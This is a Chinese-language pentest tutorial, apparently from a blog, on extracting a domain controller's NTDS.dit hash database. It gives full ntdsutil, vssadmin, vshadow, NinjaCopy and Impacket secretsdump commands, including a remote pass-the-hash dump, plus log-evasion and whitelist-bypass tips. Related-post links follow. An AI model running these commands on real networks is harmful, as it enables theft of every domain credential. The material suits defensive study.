域渗透——获得域控服务器的NTDS.dit文件
0x00 前言
在之前的文章《导出当前域内所有用户hash的技术整理》曾介绍过通过Volume Shadow Copy实现对ntds.dit文件的复制, 可用来导出域内所有用户hash。本文将尝试做系统总结,总结多种不同的方法。
0x01 简介
本文将要介绍以下内容:
- 多种实现方法
- 比较优缺点
0x02 通过Volume Shadow Copy获得域控服务器NTDS.dit文件
测试系统:
- Server 2008 R2 x64
- Server 2012 R2 x64
Volume Shadow Copy Service:
- 用于数据备份
- 支持Windows Server 2003 及以上操作系统
- 系统默认在特定条件下自动创建数据备份,如补丁安装后。在Win7系统大概每隔一周自动创建备份,该时间无法确定
- 禁用VSS会影响系统正常使用,如 System Restore和 Windows Server Backup
1、ntdsutil
域环境默认安装
支持系统:
- Server 2003
- Server 2008
- Server 2012
- …
常用命令:
(1) 查询当前快照列表
ntdsutil snapshot "List All" quit quit
(2) 查询已挂载的快照列表
ntdsutil snapshot "List Mounted" quit quit
(3) 创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
(4) 挂载快照
ntdsutil snapshot "mount GUID" quit quit
(5) 卸载快照:
ntdsutil snapshot "unmount GUID" quit quit
(6) 删除快照
ntdsutil snapshot "delete GUID" quit quit
实际测试:
(1) 查询当前系统的快照
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit
(2) 创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
guid为{6e31c0ab-c517-420b-845d-c38acbf77ab9}
如下图

(3) 挂载快照
ntdsutil snapshot "mount {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit
快照挂载为C:\$SNAP_201802270645_VOLUMEC$\,如下图

(4) 复制ntds.dit
copy C:\$SNAP_201802270645_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
(5) 卸载快照:
ntdsutil snapshot "unmount {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit
(6) 删除快照
ntdsutil snapshot "delete {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit
2、vssadmin
域环境默认安装
支持系统:
- Server 2008
- Server 2012
- …
常用命令:
(1) 查询当前系统的快照
vssadmin list shadows
(2) 创建快照
vssadmin create shadow /for=c:
(3) 删除快照
vssadmin delete shadows /for=c: /quiet
实际测试:
(1) 查询当前系统的快照
vssadmin list shadows
(2) 创建快照
vssadmin create shadow /for=c:
获得Shadow Copy Volume Name为\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12
如下图

(3) 复制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\windows\NTDS\ntds.dit c:\ntds.dit
(4) 删除快照
vssadmin delete shadows /for=c: /quiet
3、vshadow.exe
系统默认不支持,,可在Microsoft Windows Software Development Kit (SDK)中获得该工具
注:
64位系统需要使用64位的vshadow.exe
不同系统可供使用的vshadow.exe下载地址:
http://edgylogic.com/blog/vshadow-exe-versions/
常用命令:
(1) 查询当前系统的快照
vshadow.exe -q
(2) 创建快照
vshadow.exe -p -nw C:
参数说明:
-p persistent,备份操作或是重启系统不会删除
-nw no writers,用来提高创建速度
C: 对应c盘
(3) 删除快照
vshadow -dx=ShadowCopySetId
vshadow -ds=ShadowCopyId
实际测试:
(1) 查询当前系统的快照
vshadow.exe -q
(2) 创建快照
vshadow.exe -p -nw C:
获得SnapshotSetID为{809b77cc-cf9a-4101-b802-08e97d10e613}
获得SnapshotID为{ef99d039-9a38-4e8b-9f57-e3113d464f76}
获得Shadow copy device name为\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10
如下图

(3) 复制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\windows\NTDS\ntds.dit c:\ntds.dit
(4) 删除快照
vshadow -dx={809b77cc-cf9a-4101-b802-08e97d10e613}
or
vshadow -ds={ef99d039-9a38-4e8b-9f57-e3113d464f76}
4、vssown.vbs
可供参考的下载地址:
https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs
本质上是通过wmi对ShadowCopy进行操作
通过wmi查询快照信息:
wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_ShadowCopy GET DeviceObject,ID,InstallDate /FORMAT:list
powershell实现:
https://github.com/samratashok/nishang/blob/master/Gather/Copy-VSS.ps1
扩展
1、日志文件
调用Volume Shadow Copy服务会产生日志文件,位于System下,Event ID为7036
执行ntdsutil snapshot "activate instance ntds" create quit quit会额外产生Event ID为98的日志文件
如下图

2、访问快照中的文件
查看快照列表:
vssadmin list shadows
无法直接访问\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12中的文件
可通过创建符号链接访问快照中的文件:
mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\
如下图

删除符号链接:
rd c:\testvsc
利用思路:
如果当前系统存在快照文件,可对系统的历史文件进行访问
3、利用vshadow执行命令
参考资料:
https://bohops.com/2018/02/10/vshadow-abusing-the-volume-shadow-service-for-evasion-persistence-and-active-directory-database-extraction/
执行命令:
vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:
执行后,后台存在进程VSSVC.exe,同时显示服务Volume Shadow Copy正在运行,需要手动关闭进程VSSVC.exe
注:
手动关闭进程VSSVC.exe会生成日志7034
利用思路:
vshadow.exe包含微软签名,能绕过某些白名单的限制。如果作为启动项,Autoruns的默认启动列表不显示
0x03 通过NinjaCopy获得域控服务器NTDS.dit文件
下载地址:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1
没有调用Volume Shadow Copy服务,所以不会产生日志文件7036
0x04 小结
本文整理了多种获得域控服务器NTDS.dit文件的方法,测试使用环境,比较优缺点。
0x06 impacket 工具包导出散列值
使用Impacket中的secretsdump ,是可以解析ntds.dit文件,导出hash值 。
impacker-secretsdump -system SYSTEM -ntds ntds.dit LOCAL


impacket 还可以直接通过用户名和散列值进行验证,远程dump出hash
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
域渗透——获得域控服务器的NTDS.dit文件的更多相关文章
- windows 2003 域控服务器导出全部hash的方法
天下文章一大抄,我也是醉了... 一份“错误”的文章一遍又一遍的被转载,盲目转载,根本不细看.只会误导新手. 谈下windows2003域控下如何导出全部的hash信息. 1. 使用备份还原向导 2. ...
- AD域渗透总结
域渗透总结 学习并做了一段时间域网络渗透,给我直观的感受就是思路问题和耐心,这个不像技术研究,需要对一个点进行研究,而是遇到问题后要从多个方面思考,寻找"捷径"思路,只要思路正确, ...
- 使用卷影拷贝提取ntds.dit
一.简介 通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:\Windows\NTDS\ntds.dit文件.使用windows本地卷影拷贝服务,就可以获得该文件的副本. 在活动目录中,所有的 ...
- 利用卷影拷贝服务提取ntds.dit
0x01 前言 通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:\Windows\NTDS\ntds.dit文件.那么什么是ntds.dit呢? ntds.dit文件是一个数据库,用于存储A ...
- 【CTF】msf和impacket联合拿域控内网渗透-拿域控
前言 掌控安全里面的靶场内网渗透,练练手! 内网渗透拿域控 环境:http://afsgr16-b1ferw.aqlab.cn/?id=1 1.进去一看,典型的sql注入 2.测试了一下,可以爆库,也 ...
- Windows Server 2008 R2 域控服务器运行nslookup命令默认服务器显示 UnKnown
一.问题: 域控服务器DOS窗口运行nslookup命令提示如下: 二.原因分析: 主要原因在于域控服务器的DNS服务器没有设置反向查找区域,计算机名称是通过IP地址反向查找到域控服务器的计算机名称. ...
- office web apps 部署-搭建域控服务器
开始第一条先说注意事项:我所配置的环境是用了三台2012server虚拟机,三台虚拟机必须要加下域控,而且登录操作的时候必须以域账号登录,否则测试不通过!在笔记本上搭建了两个虚拟机(window se ...
- RH318之域控服务器
Windows2012域控服务器 一.安装域服务及DNS 1.配置静态IP 2.点击左下角 3.进入--->服务器管理器 4.点击角色和功能 勾选Active Directory域服务与DNS服 ...
- Active Directory虚拟机搭建域控服务器环境
前言 还是和上一章一样,痛苦过后还是记录下给后来人提供便利为妙. 虚拟机选择:建议Hyper-V或者VMware 系统选择:建议WIindows Server 2003及以上 我这里是使用VMware ...
随机推荐
- 两节锂电池保护IC,芯片电路图如何设计
两节锂电池出了充电电路外,必须搭配的也就是两节锂电池的保护板电路和芯片了.对两节节串联可再充电锂离子/锂聚合物电池的过充电.过放电和过电流进行保护.和电池反接保护功能,这些都是极其重要的. 首先设计两 ...
- Mysql简要概述
Mysql学习笔记 Mysql简介: Mysql是一个轻量级关系型数据库管理系统,由瑞典Mysql AB公司开发,目前属于Oracle公司.目前Mysql被广泛地应用在Internet上的中小型网 ...
- 在vSphere中为不同服务器配置IPMI功能
在vSphere HA中如果要配置并启用DPM功能,需要记录服务器远程管理接口的IP地址(不是ESXi的IP地址,而是另一个独立的IP地址,是与ESXi服务器同一网段的另一个IP地址)与MAC地址.远 ...
- 【Azure Developer】在Azure Resource Graph Explorer中查看当前订阅下的所有资源信息列表并导出(如VM的名称,IP地址内网/公网,OS,区域等)
问题描述 通过Azure的Resource Graph Explorer(https://portal.azure.cn/#blade/HubsExtension/ArgQueryBlade),可以查 ...
- RestTemplate post请求
以前一开始用原生的http请求,那叫一个累,后来找到一个第三方的工具包,用起来是真的舒服,不过有一说一,第三方工具包依赖性真的强,除非和组长商量过,不然能少用,还是少用点.话说搞微服务的肯定少不了和H ...
- vue初始化页面闪动问题
使用vue开发时,在vue初始化之前,由于div是不归vue管的,所以我们写的代码在还没有解析的情况下会容易出现花屏现象,看到类似于{{message}}的字样,虽然一般情况下这个时间很短暂,但是我们 ...
- WPF显示命名空间不存在对应名称
3个办法 1 切换到Release模式,再生成.生成成功后切换回Debug模式就不报错了.这是Release模式下找不到我们自定义的控件导致的报错.所以切换为Release后生成则可以解决此问题. 2 ...
- 用于理解Java的前8个图表
尤其记得高中上数学课的时候,数学老师课堂上最喜欢说的一句话:"数形结合百般好":这些年过去,数学虽然学的并未多么好,但这句话倒是一直烙印在我的脑海,在其他学科的学习当中,我总是尽量 ...
- isEmpty isBlank 区别
Sring test=" "; 这个 isblank 返回 true 但是 isEmpty 返回 false 所以: 一般用 isBlank 就可以了 ,是逐个字符检查 pu ...
- ODS(Operational Data Store)定义
ODS(Operational Data Store)可操作的数据存储. 很多人对ODS究竟是什么有很多的困惑,ODS对于不同的人可以有不同的看法,我主要说说什么是最主流的定义.首先我们需要注意,OD ...